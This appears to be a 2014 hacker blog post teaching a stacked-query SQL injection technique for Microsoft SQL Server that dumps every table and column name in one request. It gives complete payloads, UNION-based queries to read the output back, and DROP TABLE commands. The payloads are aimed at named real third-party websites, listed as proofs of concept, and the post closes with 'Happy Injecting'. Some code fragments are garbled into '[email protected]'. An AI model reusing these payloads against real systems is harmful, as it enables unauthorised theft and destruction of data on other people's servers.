In the Name of ALLAH the Most Beneficent and the Merciful

Zenodermus, Ch3rn0by1 and Me were workin on MSSQL..
when Zenodermus thought to make a DIOS for MSSQL..

previously at http://websec.ca/kb/sql_injection

DIOS is under the heading Retrieving Multiple Tables and Columns
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @[email protected] ' ' name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

but thats output is like
table1:column1
table1:column2
table1:column3
table2:column1
table2:column2
table2:column3
table3:column1
and so on..
But after adding some thing to this query.. by Zenodermus.. it became Cool like this u can see in this pic.


But due to Character limit in available dataype VARCHAR(8000) we cannot see the complete output(mean all tables and columns).. jux because each time table is written with each column..

So we decided to make it more cool and tried to display all data(complete tables and columns list). Later after surfing on MSDN, Google and MSSQL documentation we came to know, that actual length of varchar(MAX) or varchar(8000) is not 8000 it is 4000 even when u declare it MAX or 8000.

And than it became our obsession to somehow make it, and now heres our final query output which allows us to extract more data in one Query and gives us much managed output.


Before Going into this you must know about Stacked Queries, i will recommend to read the complete article at http://www.sqlinjection.net/stacked-queries/

In simple words "With Stacked Queries we can Execute multiple statements in the same query to extend the possibilities of SQL injections".

Example:
SELECT * FROM products WHERE productid=1; drop table admin
Injection example..
http://site.com/page.aspx?id=1; Drop table admin-- -



STACKED QUERY SUPPORT.


THE BASIC QUERY:
Get all tables In one Query
BEGIN DECLARE @a varchar(8000) SET @a='|' SELECT @[email protected]%2b'<li>'%2btable_name FROM information_schema.tables SELECT @a AS output INTO dios_table_out END

Get all Tables and columns In one Query
BEGIN DECLARE @a varchar(8000) SET @a='|' SELECT @[email protected]%2b'<li>'%2btable_name%2b' :: '%2bcolumn_name FROM information_schema.columns SELECT @a AS output INTO dios_table_out END

A little Modifications
BEGIN DECLARE @a varchar(8000) SET @a='<b><font color="red" size=3>Injected By Zen</font></b><br><b>Version : </b>'%2b@@version%2b'<br><b>Database : </b>'%2bdb_name()%2b'<br><br>' SELECT @[email protected]%2b'<li>'%2btable_name%2b' :: '%2bcolumn_name FROM information_schema.columns SELECT @a AS output INTO dios_out END

And in the end here is our Final Query:
BEGIN
DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100)
DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL)
SET @counter = 1
SET @data = 'injected by rummykhan :: ' + @@VERSION + ' Database :: ' + DB_NAME()
SET @tblName = ''
SET @colNames = ''
WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES)
BEGIN
	SET @colNames = ''
	SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl)
	SELECT @colNames = @colNames +  column_name + ' : ' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName
	INSERT @tmpTbl VALUES(@tblName)
	SET @data = @data + 'Table : ' + @tblName  ' + Columns : ' + @colNames
	SET @counter = @counter + 1
END
SELECT @data AS output INTO Challenge
END

Well This Query looks horible but it actually is not. Lets go deep into this Query. with BEGIN and END we declare a Batch/Group of statements to be executed together.

Next step is declaring supporting variables for holding table_name, column_name, a counter, one variable that can hold all table_names and column_names and one table with one column which will be acting as a collection which will be used to hold all the tables names.. will explain its use later.

Next step is initializing declared variables.. we cannot use these un-initialized variables in SELECT statement.. thats why these are initialized with empty strings.. and @data with database version and database for further display in output..

Next step is WHILE Loop
WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES)

Above statement will bound this loop to run through all tables. At next step @colNames is re initialized with empty string everytime to hold the coloums of Only One table at a time.

The Next step is getting a table_name into @tblName and getting column_name for that table into @colNames and adding values of both @tblName and @colNames into @data

Now this part
SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl)

With the above Query SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME only one table will be fetched. To get next table in next iteration we used NOT IN Clause. But NOT IN Clause need a collection for which we declared a TABLE @tmpTbl with a COLUMN named name.

For first time @tmpTbl will b empty so first table_name will b retrieved in @tblName. Then the part INSERT @tmpTbl VALUES(@tblName) each time @tblName value will be inserted in @tmpTbl and when it will goto this line again SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) Next table will b retrieved from this statement and so on. As @tmpTbl have first table_name now and so on.

when the loop will end all tables and columns will be added in @data, and then with the below statement
SELECT @data AS output INTO Challenge

we can store all @data into new table Challenge

Here is the complete Query:
 
http://site.com/page.aspx?id=1;BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data =  'injected by rummykhan :: '  @@VERSION  ' Database :: '  DB_NAME() SET @tblName = '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames   column_name  ' : ' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @data = @data   'Table : '  @tblName  ' Columns : '  @colNames SET @counter = @counter   1 END SELECT @data AS output INTO Challenge END-- -

Remember to change with %2b becuase is taken as space when sent from URL
For the Challenge site our final query will be like:
http://www.uwdmaindia.org/EventDetails.aspx?ID=3';BEGIN DECLARE @data VARCHAR(8000), @counter int, @tblName VARCHAR(50), @colNames VARCHAR(100) DECLARE @tmpTbl TABLE (name VARCHAR(8000) NOT NULL) SET @counter = 1 SET @data=' injected by rummykhan :: '%2b@@version%2b'<br/>'%2bdb_name() SET @tblName = '' SET @colNames = '' WHILE @counter<=(SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES) BEGIN SET @colNames = '' SELECT @tblName = table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (select name from @tmpTbl) SELECT @colNames = @colNames %2b' : '%2bcolumn_name  FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @tblName INSERT @tmpTbl VALUES(@tblName) SET @[email protected]%2b'<br/><br/>Table : [email protected]%2b'<br/>Columns : [email protected]%2b'<br/>' SET @counter = @counter %2b 1 END SELECT @data AS output INTO Challenge END-- -

And now the final part of the Challenge and STEP 2

HOW TO SEE THE OUTPUT ON WEBPAGE.
http://site.com/page.aspx?id=-1 union select 1,2,3,output,5 from Challenge-- -
And heres how it will work on a live site:
http://www.uwdmaindia.org/EventDetails.aspx?ID=0' union all select 1,2,3,4,5,output,7,8 from Challenge-- -

Running first query multiple time will result in error that an object of Challenge already exist. So dont forget to drop that table after running the query first time.
http://www.uwdmaindia.org/EventDetails.aspx?ID=0'; DROP TABLE Challenge-- -

And in some cases where System.Web.HttpException is enabled there HTML tags will be parsed as dangerous requests so i changed the query a bit and this will work fine in almost every scenario.
;begin declare @x varchar(8000), @y int, @z varchar(50), @a varchar(100) declare @myTbl table (name varchar(8000) not null) SET @y=1 SET @x='injected by rummykhan :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl) select @[email protected] %2b column_name%2b' : ' from INFORMATION_SCHEMA.COLUMNS where [email protected] insert @myTbl values(@z) SET @[email protected] %2b  CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Table: [email protected]%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : [email protected]%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @y = @y%2b1 end select @x as output into Chall1 END-- -

Here are some of the POC:

http://www.aiou.edu.pk
http://www.uwdmaindia.org
greenforce.com.pk

Thanks For reading, Happy Injecting.

Author : Rummy Khan & Zen
Date : 2014-07-29